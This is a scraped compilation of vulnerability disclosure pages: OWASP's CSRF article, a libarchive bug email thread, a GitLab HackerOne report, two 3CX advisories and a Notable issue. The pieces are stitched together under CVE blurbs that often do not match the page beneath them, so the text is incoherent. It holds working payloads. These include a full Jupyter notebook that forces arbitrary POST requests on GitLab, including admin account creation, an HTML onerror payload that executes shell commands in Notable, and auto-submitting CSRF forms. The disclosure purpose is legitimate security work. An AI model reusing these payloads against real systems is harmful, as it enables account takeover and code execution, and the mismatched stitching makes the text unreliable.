A Cross-Site Request Forgery (CSRF) in Pluck CMS v4.7.15 allows attackers to change the password of any given user by exploiting this feature leading to account takeover.

**Author:** KirstenS  
**Contributor(s):** Dave Wichers, Davisnw, Paul Petefish, Adar Weidman, Michael Brooks, Ahsan Mir, Dc, D0ubl3 h3lix, Jim Manico, Robert Gilbert, Tgondrom, Pawel Krawczyk, Brandt, A V Minhaz, Kevin Lorenzo, Andrew Smith, Christina Schelin, Ari Elias-Bachrach, Sarciszewski, kingthorin, Ben Spatafora  

**Overview**

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

**How to Review Code for CSRF Vulnerabilities**

See the OWASP Code Review Guide article on how to review code for CSRF vulnerabilities.

**How to Test for CSRF Vulnerabilities**

See the OWASP Testing Guide article on how to test for CSRF vulnerabilities.

**How to Prevent CSRF Vulnerabilities**

See the CSRF Prevention Cheat Sheet for prevention measures.

Listen to the OWASP Top Ten CSRF Podcast.

Most frameworks have built-in CSRF support such as Joomla, Spring, Struts, Ruby on Rails, .NET and others.

Use OWASP CSRF Guard to add CSRF protection to your Java applications. You can use CSRFProtector Project to protect your PHP applications or any project deployed using Apache Server.

John Melton also has an excellent blog post describing how to use the native anti-CSRF functionality of the OWASP ESAPI.

**Description**

CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim’s behalf (though note that this is not true of login CSRF, a special form of the attack described below). For most sites, browser requests automatically include any credentials associated with the site, such as the user’s session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the victim and a legitimate request sent by the victim.

CSRF attacks target functionality that causes a state change on the server, such as changing the victim’s email address or password, or purchasing something. Forcing the victim to retrieve data doesn’t benefit an attacker because the attacker doesn’t receive the response, the victim does. As such, CSRF attacks target state-changing requests.

An attacker can use CSRF to obtain the victim’s private data via a special form of the attack, known as login CSRF. The attacker forces a non-authenticated user to log in to an account the attacker controls. If the victim does not realize this, they may add personal data—such as credit card information—to the account. The attacker can then log back into the account to view this data, along with the victim’s activity history on the web application.

It’s sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called “stored CSRF flaws”. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

**Synonyms**

CSRF attacks are also known by a number of other names, including XSRF, “Sea Surf”, Session Riding, Cross-Site Reference Forgery, and Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process and many places in their online documentation.

**Prevention measures that do **NOT** work**

A number of flawed ideas for defending against CSRF attacks have been developed over time. Here are a few that we recommend you avoid.

**Using a secret cookie**

Remember that all cookies, even the _secret_ ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.

**Only accepting POST requests**

Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker’s Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.

**Multi-Step Transactions**

Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.

**URL Rewriting**

This might be seen as a useful CSRF prevention technique as the attacker cannot guess the victim’s session ID. However, the user’s session ID is exposed in the URL. We don’t recommend fixing one security flaw by introducing another.

**HTTPS**

HTTPS by itself does nothing to defend against CSRF.

However, HTTPS should be considered a prerequisite for any preventative measures to be trustworthy.

**Examples****How does the attack work?**

There are numerous ways in which an end user can be tricked into loading information from or submitting information to a web application. In order to execute an attack, we must first understand how to generate a valid malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using the _bank.com_ web application that is vulnerable to CSRF. Maria, an attacker, wants to trick Alice into sending the money to Maria instead. The attack will comprise the following steps:

1.  Building an exploit URL or script
2.  Tricking Alice into executing the action with Social Engineering

**GET scenario**

If the application was designed to primarily use GET requests to transfer parameters and execute actions, the money transfer operation might be reduced to a request like:

`GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1`

Maria now decides to exploit this web application vulnerability using Alice as the victim. Maria first constructs the following exploit URL which will transfer $100,000 from Alice’s account to Maria’s account. Maria takes the original command URL and replaces the beneficiary name with herself, raising the transfer amount significantly at the same time:

`http://bank.com/transfer.do?acct=MARIA&amount=100000`

The social engineering aspect of the attack tricks Alice into loading this URL when Alice is logged into the bank application. This is usually done with one of the following techniques:

*   sending an unsolicited email with HTML content
*   planting an exploit URL or script on pages that are likely to be visited by the victim while they are also doing online banking

The exploit URL can be disguised as an ordinary link, encouraging the victim to click it:

`<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a>`

Or as a 0x0 fake image:

`<img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="0" height="0" border="0">`

If this image tag were included in the email, Alice wouldn’t see anything. However, the browser _will still_ submit the request to bank.com without any visual indication that the transfer has taken place.

A real life example of CSRF attack on an application using GET was a uTorrent exploit from 2008 that was used on a mass scale to download malware.

**POST scenario**

The only difference between GET and POST attacks is how the attack is being executed by the victim. Let’s assume the bank now uses POST and the vulnerable request looks like this:

    POST http://bank.com/transfer.do HTTP/1.1
    
    acct=BOB&amount=100
    

Such a request cannot be delivered using standard A or IMG tags, but can be delivered using a FORM tags:

    <form action="http://bank.com/transfer.do" method="POST">
    
    <input type="hidden" name="acct" value="MARIA"/>
    <input type="hidden" name="amount" value="100000"/>
    <input type="submit" value="View my pictures"/>
    
    </form>
    

This form will require the user to click on the submit button, but this can be also executed automatically using JavaScript:

    <body onload="document.forms[0].submit()">
    
    <form...
    

**Other HTTP methods**

Modern web application APIs frequently use other HTTP methods, such as PUT or DELETE. Let’s assume the vulnerable bank uses PUT that takes a JSON block as an argument:

    PUT http://bank.com/transfer.do HTTP/1.1
    
    { "acct":"BOB", "amount":100 }
    

Such requests can be executed with JavaScript embedded into an exploit page:

    <script>
    function put() {
        var x = new XMLHttpRequest();
        x.open("PUT","http://bank.com/transfer.do",true);
        x.setRequestHeader("Content-Type", "application/json");
        x.send(JSON.stringify({"acct":"BOB", "amount":100})); 
    }
    </script>
    
    <body onload="put()">
    

Fortunately, this request will **not** be executed by modern web browsers thanks to same-origin policy restrictions. This restriction is enabled by default unless the target web site explicitly opens up cross-origin requests from the attacker’s (or everyone’s) origin by using CORS with the following header:

`Access-Control-Allow-Origin: *`

*   Cross-site Scripting (XSS)
*   Cross Site History Manipulation (XSHM)

*   Add a per-request nonce to the URL and all forms in addition to the standard session. This is also referred to as “form keys”. Many frameworks (e.g., Drupal.org 4.7.4+) either have or are starting to include this type of protection “built-in” to every form so the programmer does not need to code this protection manually.
*   Add a hash (session id, function name, server-side secret) to all forms.
*   For .NET, add a session identifier to ViewState with MAC (described in detail in the DotNet Security Cheat Sheet).
*   Checking the referrer header in the client’s HTTP request can prevent CSRF attacks. Ensuring that the HTTP request has come from the original site means that attacks from other sites will not function. It is very common to see referrer header checks used on embedded network hardware due to memory limitations.
    *   XSS can be used to bypass both referrer and token based checks simultaneously. For instance, the Samy worm used an `XMLHttpRequest` to obtain the CSRF token to forge requests.
*   “Although CSRF is fundamentally a problem with the web application, not the user, users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser’s cookies at the end of each browser session.” –http://en.wikipedia.org/wiki/Cross-site\_request\_forgery#\_note-1

**References**

*   OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
    
*   The Cross-Site Request Forgery (CSRF/XSRF) FAQ
    

> “This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered.”\*

*   Testing for CSRF
    *   CSRF (aka Session riding) paper from the OWASP Testing Guide project.
*   CSRF Vulnerability: A ‘Sleeping Giant’
    *   Overview Paper
*   Client Side Protection against Session Riding
    *   Martin Johns and Justus Winter’s interesting paper and presentation for the 4th OWASP AppSec Conference which described potential techniques that browsers could adopt to automatically provide CSRF protection - PDF paper
*   OWASP CSRF Guard
    *   J2EE, .NET, and PHP Filters which append a unique request token to each form and link in the HTML response in order to provide universal coverage against CSRF throughout your entire application.
*   OWASP CSRF Protector
    *   Anti CSRF method to mitigate CSRF in web applications. Currently implemented as a PHP library & Apache 2.x.x module
*   A Most-Neglected Fact About Cross Site Request Forgery (CSRF)
    *   Aung Khant, http://yehg.net, explained the danger and impact of CSRF with imperiling scenarios.
*   Pinata-CSRF-Tool: CSRF POC tool
    *   Pinata makes it easy to create Proof of Concept CSRF pages. Assists in Application Vulnerability Assessment.

CVE-2022-27432: Cross Site Request Forgery (CSRF)

Libarchive v3.6.0 was discovered to contain an out-of-bounds read via the component zipx_lzma_alone_init.

hello,i have discussed with security engineer from liblzma,the vulnerability may caused by zipx\_lzma\_alone\_init().if you have time,please debug to check it.look forward to you reply thanks. The Message records bellow: On 2022-03-18 jun ma wrote: &gt; oh，thanks for your reply ，i have debuged it using gdb and discussed &gt; with security&nbsp; engineer from libarchive,it &gt; &gt; high possibility caused by liblzma.when you have time, hope you can &gt; take some time to have a look.thanks! The problem is that lzma\_code() is called with lzma\_stream.avail\_in set to 18446744073709551607 which equals -9 when interpret as a signed value. That is, it's a bug in libarchive. I attached a patch that adds a few fprintf() calls to libarchive which show how the incorrect value comes from zipx\_lzma\_alone\_init() but I didn't debug how to fix it. Here is the output: DEBUG: libarchive/archive\_read\_support\_format\_zip.c:1607: init DEBUG: libarchive/archive\_read\_support\_format\_zip.c:1728: zip-&gt;entry\_bytes\_remaining = 1 DEBUG: libarchive/archive\_read\_support\_format\_zip.c:1859: zip-&gt;entry\_bytes\_remaining = 1, bytes\_avail = 94559 DEBUG: libarchive/archive\_read\_support\_format\_zip.c:1916: zip-&gt;entry\_bytes\_remaining = 1, to\_consume = 1 DEBUG: libarchive/archive\_read\_support\_format\_zip.c:1607: init DEBUG: libarchive/archive\_read\_support\_format\_zip.c:1728: zip-&gt;entry\_bytes\_remaining = 1 DEBUG: libarchive/archive\_read\_support\_format\_zip.c:1859: zip-&gt;entry\_bytes\_remaining = 1, bytes\_avail = 94501 DEBUG: libarchive/archive\_read\_support\_format\_zip.c:1916: zip-&gt;entry\_bytes\_remaining = 1, to\_consume = 1 DEBUG: libarchive/archive\_read\_support\_format\_zip.c:1607: init DEBUG: libarchive/archive\_read\_support\_format\_zip.c:1728: zip-&gt;entry\_bytes\_remaining = -9 DEBUG: libarchive/archive\_read\_support\_format\_zip.c:1859: zip-&gt;entry\_bytes\_remaining = -9, bytes\_avail = 94443 Can you forward the above information to libarchive developers? Thank you for your effort to look for bugs and reporting them! Two minor things for the future: I understand that sending the bad .zip file directly as an attachment doesn't work for some destinations because antivirus products can block such emails (GMail does). I could extract the .rar with 7z from p7zip so it wasn't a problem for me, but in general free software developers prefer exchanging information using fully open formats like .zip, .7z, or .tar + some compressor. .zip with its very old (and insecure) encryption is supported widely. I tested this with GMail: &nbsp; &nbsp; zip -e badfile.zip badfile.bin&nbsp; # password set to 123456 This worked. Without encryption it was rejected. I think the filename inside the encrypted .zip must be something like .bin instead of .zip since filenames aren't encrypted. The second thing is that I did receive the email with the subject crash-58af2238755ec09600f15fed6e3e606c09638f42 but I wasn't on my computer during those days, so I was slow to reply, sorry. (My email provider doesn't block attachments as easily as GMail does.) The email contained a 46-megabyte attachment (base64-encoded size) which I suppose was the test program binary. That is a fairly big file to attach and most people (me included) won't run binaries received in email. Again, thanks for your help in finding and reporting bugs!

…

\-- Lasse Collin

\------------------&nbsp;原始邮件&nbsp;------------------ 发件人: "马骏" \*\*\*@\*\*\*.\*\*\*&gt;; 发送时间:&nbsp;2022年3月4日(星期五) 下午5:15 \*\*\*@\*\*\*.\*\*\*&gt;; 主题:&nbsp;回复：转发：回复： \[libarchive/libarchive\] The libarchive lib exist a READ memory access Vulnerability (Issue #1672) Please ask if this vulnerability has been confirmed

\------------------ 原始邮件 ------------------ 发件人: "马骏" \*\*\*@\*\*\*.\*\*\*&gt;; 发送时间:&nbsp;2022年3月4日(星期五) 上午10:33 \*\*\*@\*\*\*.\*\*\*&gt;; 主题:&nbsp;回复：转发：回复： \[libarchive/libarchive\] The libarchive lib exist a READ memory access Vulnerability (Issue #1672) Please ask if this vulnerability has been confirmed

\------------------ 原始邮件 ------------------ 发件人: "马骏" \*\*\*@\*\*\*.\*\*\*&gt;; 发送时间:&nbsp;2022年2月26日(星期六) 晚上6:31 \*\*\*@\*\*\*.\*\*\*&gt;; 主题:&nbsp;转发：回复： \[libarchive/libarchive\] The libarchive lib exist a READ memory access Vulnerability (Issue #1672) i have send this mail ,you can see this

\---原始邮件--- 发件人: \*\*\*@\*\*\*.\*\*\*&gt; 发送时间: 2022年2月26日(周六) 下午5:45 收件人: \*\*\*@\*\*\*.\*\*\*&gt;; 主题: 回复： \[libarchive/libarchive\] The libarchive lib exist a READ memory access Vulnerability (Issue #1672) hello,the testcase 、 source file 、crash file see the attachments。Besides，i have Submit cve aim at this question

\------------------ 原始邮件 ------------------ 发件人: "libarchive/libarchive" \*\*\*@\*\*\*.\*\*\*&gt;; 发送时间:&nbsp;2022年2月26日(星期六) 下午5:12 \*\*\*@\*\*\*.\*\*\*&gt;; \*\*\*@\*\*\*.\*\*\*\*\*\*@\*\*\*.\*\*\*&gt;; 主题:&nbsp;Re: \[libarchive/libarchive\] The libarchive lib exist a READ memory access Vulnerability (Issue #1672) @icycityone what we need is a sample test file to reproduce the vulnerability — Reply to this email directly, view it on GitHub, or unsubscribe. Triage notifications on the go with GitHub Mobile for iOS or Android. You are receiving this because you were mentioned.Message ID: \*\*\*@\*\*\*.\*\*\*&gt;

CVE-2022-26280: The libarchive lib exist a READ memory access Vulnerability · Issue #1672 · libarchive/libarchive

Missing sanitization of HTML attributes in Jupyter notebooks in all versions of GitLab CE/EE since version 14.5 allows an attacker to perform arbitrary HTTP POST requests on a user's behalf leading to potential account takeover

**HackerOne report #1409788** by `joaxcar` on 2021-11-24, assigned to @dcouture:

Report | Attachments | How To Reproduce

**Report****Summary**

An attacker can create a Jupyter notebook that will make arbitrary POST requests as the victim user. In the "worst case" an attacker could make an admin create a new admin account for the attacker. Other possible attack vectors are forcing invites to private projects etc. Every POST request is possible.

This research is loosely based on the issue with Rails Ujs data-\* parameters. Nowadays DOMPurify strips Rails Ujs data- attributes such as data-url and data-method. What is not stripped is arbitrary data attributes. Looking through the code in https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/main.js , which is run on page load in the UI, I found multiple vectors still possible to abuse.

The script hooks up a lot of event listeners and modifications to the DOM. What is of particular interest for us is the part that is delayed to let additional data on the page load.

    function deferredInitialisation() {  
      const $body = $('body');
    
      initTopNav();  
      initBreadcrumbs();  
      initTodoToggle();  
      initLogoAnimation();  
      initServicePingConsent();  
      initUserPopovers();  
      initBroadcastNotifications();  
      initPersistentUserCallouts();  
      initDefaultTrackers();  
      initFeatureHighlight();  

Reading through the source files for these functions I managed to find multiple selector/data-attribute combinations that can be used even with purified HTML.

As an example we have persistent\_user\_callout in

https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/persistent\_user\_callout.js

where a POST request is made like

    dismiss(event, deferredLinkOptions = null) {  
        event.preventDefault();
    
        axios  
          .post(this.dismissEndpoint, {  
            feature_name: this.featureId,  
          })  

the `dissmissEndpoint` is controllable through a data attribute `data-dissmiss-endpoint`. The data attributes are extracted like so

    export default class PersistentUserCallout {  
      constructor(container, options = container.dataset) {  
        const { dismissEndpoint, featureId, deferLinks } = options;  
        this.container = container;  
        this.dismissEndpoint = dismissEndpoint;  
        this.featureId = featureId;  
        this.deferLinks = parseBoolean(deferLinks);
    
        this.init();  
      }  

To be able to fire the dismiss function (and thus the POST request) we also need a `js-close` button

    const closeButton = this.container.querySelector('.js-close');  

The HTML needed to set this up is

    <div class=\"js-new-user-signups-cap-reached\" data-dismiss-endpoint=\"https://gitlab.com/api/v4/projects/31573768/issues/1/todo\" data-defer-links=\"false\" data-feature-id=\"1\">  
        <button style=\"background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000\" class=\"js-close\">  
            hack  
        </button>  
    </div>  

The styling is there to make the button as an invisible overlay over the whole page making it trigger on a click anywhere.

Now to the attack. If an attacker creates a Jupyter Notebook there exists the possibility to add HTML in the output fields. This HTML will be sanitized by DOMPurify, but this will not stop the attack.

A file like this will do as a simple POC

    {
      "cells": [  
        {  
          "metadata": { "trusted": true },  
          "cell_type": "code",  
          "source": "<h1>asd</h1>",  
          "execution_count": 1,  
          "outputs": [  
            {  
              "output_type": "display_data",  
              "data": {  
                "text/plain": "<IPython.core.display.HTML object>",  
                "text/html": "<div class=\"js-feature-highlight\" data-dismiss-endpoint=\"https://gitlab.com/api/v4/todos/147611488/mark_as_done\" data-auto-devops-help-path=\"hej\" data-highlight-id=\"1\">asdf</div>\n<div class=\"js-new-user-signups-cap-reached\" data-dismiss-endpoint=\"https://gitlab.com/api/v4/projects/31573768/issues/1/todo\" data-defer-links=\"false\" data-feature-id=\"1\"><button style=\"background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000\" class=\"js-close\">hack</button></div>\n"  
              },  
              "metadata": {}  
            }  
          ]  
        }  
      ],  
      "metadata": {  
        "kernelspec": {  
          "name": "python3",  
          "display_name": "Python 3",  
          "language": "python"  
        },  
        "language_info": {  
          "name": "python",  
          "version": "3.7.8",  
          "mimetype": "text/x-python",  
          "codemirror_mode": { "name": "ipython", "version": 3 },  
          "pygments_lexer": "ipython3",  
          "nbconvert_exporter": "python",  
          "file_extension": ".py"  
        }  
      },  
      "nbformat": 4,  
      "nbformat_minor": 4  
    }

I have added a `feature-highlight` (another possible vector, see image) just to show when the attack is successful. As the main.js script is run with a timer, sometimes one has to refresh the page to have the payload "load up" (this could possibly be worked around). When the attack is loaded, the highlight div will turn into a blue dot.

![dot.png](https://h1.sec.gitlab.net/a/ab401856-12df-4c47-ae6c-4cbbecbbea89/dot.png)

Visiting this site and clicking anywhere will add a Todo on an Issue on one of my projects. I have also tested this attack with an attack creating an admin account. Replacing the payload in the POC with this one

    "text/html": "<div class=\"js-new-user-signups-cap-reached\" data-dismiss-endpoint=\"https://gitlab.com/api/v4/users?admin=true&email=joaxcarte01@wearehackerone.com&name=just&username=just&password=asdasdasdasd\" data-defer-links=\"false\" data-feature-id=\"1\"><button style=\"background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000\" class=\"js-close\">.</button></div>\n"}  

A visit by an admin to this site would end up with a new admin account being created.

Finally I want to point out that this kind of attack is possible anywhere where HTML injection could happen. Even with Purified HTML.

**Steps to reproduce**

1.  Create a project on GitLab.com
2.  Create a new file named `hack.ipynb` (or upload the included file) with the content  
    ![hack.ipynb](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)

    {
      "cells": [  
        {  
          "metadata": { "trusted": true },  
          "cell_type": "code",  
          "source": "<h1>asd</h1>",  
          "execution_count": 1,  
          "outputs": [  
            {  
              "output_type": "display_data",  
              "data": {  
                "text/plain": "<IPython.core.display.HTML object>",  
                "text/html": "<div class=\"js-feature-highlight\" data-dismiss-endpoint=\"https://gitlab.com/api/v4/todos/147611488/mark_as_done\" data-auto-devops-help-path=\"hej\" data-highlight-id=\"1\">asdf</div>\n<div class=\"js-new-user-signups-cap-reached\" data-dismiss-endpoint=\"https://gitlab.com/api/v4/projects/31573768/issues/1/todo\" data-defer-links=\"false\" data-feature-id=\"1\"><button style=\"background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000\" class=\"js-close\">hack</button></div>\n"  
              },  
              "metadata": {}  
            }  
          ]  
        }  
      ],  
      "metadata": {  
        "kernelspec": {  
          "name": "python3",  
          "display_name": "Python 3",  
          "language": "python"  
        },  
        "language_info": {  
          "name": "python",  
          "version": "3.7.8",  
          "mimetype": "text/x-python",  
          "codemirror_mode": { "name": "ipython", "version": 3 },  
          "pygments_lexer": "ipython3",  
          "nbconvert_exporter": "python",  
          "file_extension": ".py"  
        }  
      },  
      "nbformat": 4,  
      "nbformat_minor": 4  
    }

3.  Click save
4.  After saving you will land on the preview page for the file. If the out block does not contain a blue dot, refresh this page.
5.  When the dot is blue click anywhere on the page
6.  Now go to https://gitlab.com/dashboard/todos and check that a todo have been added

video example of the POC (note the todo being empty and the blue dot):

todohack.webm

**Impact**

An attacker can make arbitrary POST requests as a victim user visiting a Jupyter notebook. Worst case giving the attacker admin access to the instance.

**Examples**

Private project:  
https://gitlab.com/parent02/sub2/asd/-/blob/main/hack.ipynb

**What is the current _bug_ behavior?**

DOMPurify does not filter out arbitrary data-\* attributes, making it possible to high jack Gitlab UI JavaScript to make POST requests

**What is the expected _correct_ behavior?**

The attributes should not work in Jupyter notebooks

**Output of checks**

This bug happens on GitLab.com

**Impact**

An attacker can make arbitrary POST requests as a victim user visiting a Jupyter notebook. Worst case giving the attacker admin access to the instance.

**Attachments**

**Warning:** Attachments received through HackerOne, please exercise caution!

*   todohack.webm
*   hack.ipynb
*   dot.png

**How To Reproduce**

Please add reproducibility information to this section:

CVE-2022-0427: Arbitrary POST request as victim user from HTML injection in Jupyter notebooks (#347284) · Issues · GitLab.org / GitLab

The client applications in 3CX on Windows, the 3CX app for iOS, and the 3CX application for Android through 2022-03-17 lack SSL certificate validation.

`#############################################################   #   # COMPASS SECURITY ADVISORY   # https://www.compass-security.com/research/advisories/   #   #############################################################   #   # Product: 3CX Client for Windows (legacy), Android & iOS   # Vendor: 3CX   # CSNC ID: CSNC-2021-021   # CVE ID: CVE-2021-45490   # Subject: Missing Certificate Verification   # CWE-ID: CWE-295 (Improper Certificate Validation)   # Severity: Medium   # Effect: Network Traffic Decryption and Manipulation   # Author: Emanuel Duss <emanuel.duss@compass-security.com>   # Date: 2022-03-17   #   #############################################################  Introduction   ------------  3CX is an open-platform office phone system that runs on premise on Windows or   Linux. 3CX was built for mobility, with remote work apps that offer secured   communication for the whole team. With the Android, iOS and Windows apps,   business communication is no longer tied to the office building. [1]  During a customer project, we identified a security vulnerability in the 3CX   clients for Windows (legacy), Android and iOS. These applications do not verify   the TLS certificate of the 3CX server.  Affected   --------  - All versions of the 3CX application for Windows (legacy), Android and iOS are   affected.   - There is no fix from the vendor at the moment.   - The new Electron based 3CX Desktop App is not affected.  Description   -----------  The 3CX clients for Windows (legacy), Android, and iOS do not verify the TLS   certificate of the 3CX server.  This allows an attacker between the 3CX application and the 3CX server to split   the TLS traffic and therefore read and manipulate the transmitted data.  For example, the data required for provisioning a new device can be read every   time when the app is started. This data can then be used to provision another   app.  Thus, attackers can provision an own device and use the entire functionality of   the app. This includes:  - List companies in the phone book   - Make phone calls   - Listen to voice box   - etc.  This attack can for example be reproduced by performing an ARP spoofing attack   in the network against the target client and by using Burp Suite as a   transparent HTTP proxy.  Vulnerability Classification   ----------------------------  CVSS v3.1 Metrics [2]:  - CVSS Base Score: 6.5 (Medium)   - CVSS Vector: AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N  Workaround / Fix   ----------------  # 3CX Vendor  The app should correctly verify the server's certificate using the system CA   store or implement certificate pinning in the apps.  # 3CX Users  There is no security update for this vulnerability at the moment. According to   the 3CX, the vulnerability will be tackled in future redesigns of the mobile   apps.  Users of the legacy Windows client can switch to the new Electron based 3CX   Desktop App which is not affected.  Timeline   --------  2021-12-16: Vulnerability discovered   2021-12-17: Discussed vulnerability with our customer   Asked 3CX for security contact on Twitter, community forum, support   email and contact form.   Got response via support mail. Security contact was dpo@3cx.com   Provided details   Requested CVE ID @ MITRE   2021-12-25: Assigned CVE-2021-45490   2022-01-03: Asked vendor if they understood the vulnerability.   Answer: Report was distributed internally.   2022-01-18: Asked vendor for any updates.   2022-02-02: Asked vendor for any updates.   2022-02-10: Asked vendor for any updates. 3CX can't tell when the issue will   be fixed.   2022-03-11: Asked vendor for any updates. 3CX thanked for the report.   Issues will be tackled in future redesigns of the mobile apps.   2022-03-17: Coordinated public disclosure  Acknowledgement   ---------------  Thanks 3CX for the coordinated dicslosure.  References   ----------  [1] https://www.3cx.com/   [2] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N&version=3.1  `

CVE-2021-45490: 3CX Client Missing TLS Validation ≈ Packet Storm

3CX System through 2022-03-17 stores cleartext passwords in a database.

`#############################################################   #   # COMPASS SECURITY ADVISORY   # https://www.compass-security.com/research/advisories/   #   #############################################################   #   # Product: 3CX Phone System   # Vendor: 3CX   # CSNC ID: CSNC-2021-022   # CVE ID: CVE-2021-45491   # Subject: Exportable Cleartext Passwords   # CWE-ID: CWE-257 (Storing Passwords in a Recoverable Format)   # Severity: Medium   # Effect: Credential Reuse   # Author: Emanuel Duss <emanuel.duss@compass-security.com>   # Date: 2022-03-17   #   #############################################################  Introduction   ------------  3CX is an open-platform office phone system that runs on premise on Windows or   Linux. 3CX was built for mobility, with remote work apps that offer secured   communication for the whole team. With the Android, iOS and Windows apps,   business communication is no longer tied to the office building. [1]  During a customer project, we identified a security vulnerability in the 3CX   system. The user passwords of the 3CX system are stored in plain text in the   database and are also exportable in the administration interface.  Affected   --------  - All versions of the 3CX application are affected.   - There is no fix from the vendor.  Description   -----------  The user passwords of the 3CX system are stored in plain text in the database   and are also exportable in the administration interface.  This can be verified by exporting the credentials via the admin interface or by   looking into the SQL database. This issue is also already documented in the   community forum since 2019 [2].  The storage of passwords in a recoverable format makes them subject to password   reuse attacks by malicious users. In fact, it should be noted that recoverable   encrypted passwords provide no significant benefit over plaintext passwords   since they are subject not only to reuse by malicious attackers but also by   malicious insiders. If a system administrator can recover a password directly,   or use a brute force search on the available information, the administrator can   use the password on other accounts. [3]  Vulnerability Classification   ----------------------------  CVSS v3.1 Metrics [4]:  - CVSS Base Score: 5.5 (Medium)   - CVSS Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N  Workaround / Fix   ----------------  # 3CX Vendor  A password hash function such as PBKDF2, bcrypt or scrypt should be used for   passwords. The passwords should also be provided with a salt that is generated   individually for each user. This can make attacks that use rainbow tables or   pre-calculated wordlists more difficult.  # 3CX Users  There is no security update for this vulnerability at the moment. According to   the 3CX, the vulnerability will be tackled in future redesigns of the   management console.  Timeline   --------  2021-12-16: Vulnerability discovered   2021-12-17: Discussed vulnerability with our customer   Asked 3CX for security contact on Twitter, community forum, support   email and contact form.   Got response via support mail. Security contact was dpo@3cx.com   Provided details   Requested CVE ID @ MITRE   2021-12-25: Assigned CVE-2021-45491   2022-01-03: Asked vendor if they understood the vulnerability.   Answer: Report was distributed internally.   2022-01-18: Asked vendor for any updates.   2022-02-02: Asked vendor for any updates.   2022-02-10: Asked vendor for any updates. 3CX can't tell when the issue will   be fixed.   2022-03-11: Asked vendor for any updates. 3CX thanked for the report. Issues   will be tackled in future redesigns of the management console.   2022-03-17: Coordinated public disclosure  Acknowledgement   ---------------  Thanks 3CX for the coordinated disclosure.  References   ----------  [1] https://www.3cx.com/   [2] https://www.3cx.de/forum/threads/klartext-passwort-willkommen-mail-also-auch-in-db.94280/   [3] https://cwe.mitre.org/data/definitions/257.html   [4] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N&version=3.1  `

CVE-2021-45491: 3CX Phone System Cleartext Passwords ≈ Packet Storm

Notable v1.8.4 does not filter text editing, allowing attackers to execute arbitrary code via a crafted payload injected into the Title text field.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

**Comments**

![@Passenger-AMao](https://avatars.githubusercontent.com/u/57519160?s=88&v=4)

author: AMao@Hillstone  
Date: 2022-02-22

Text editing without filtering leads to arbitrary code execution

Payload：

    <img src=# onerror="require('child_process').exec('whoami',(error, stdout, stderr)=>{
      alert(`stdout: ${stdout}`);
    });">
    

eg.

![image](https://user-images.githubusercontent.com/57519160/155078475-f33a7b63-5fa9-47b7-815f-768d5b20470b.png)

![@fabiospampinato](https://avatars.githubusercontent.com/u/1812093?s=88&u=0d6a92ea991be8b4d893c64f017d10b26d60e581&v=4)

2 participants

 ![@fabiospampinato](https://avatars.githubusercontent.com/u/1812093?s=52&v=4)![@Passenger-AMao](https://avatars.githubusercontent.com/u/57519160?s=52&v=4)

CVE-2022-26198: RCE Vulnerability in Notable · Issue #1595 · notable/notable

The DuckDuckGo browser 7.64.4 on iOS allows Address Bar Spoofing due to mishandling of the JavaScript window.open function (used to open a secondary browser window). This could be exploited by tricking users into supplying sensitive information such as credentials, because the address bar would display a legitimate URL, but content would be hosted on the attacker's web site.

Press Releases | 8 February 2022

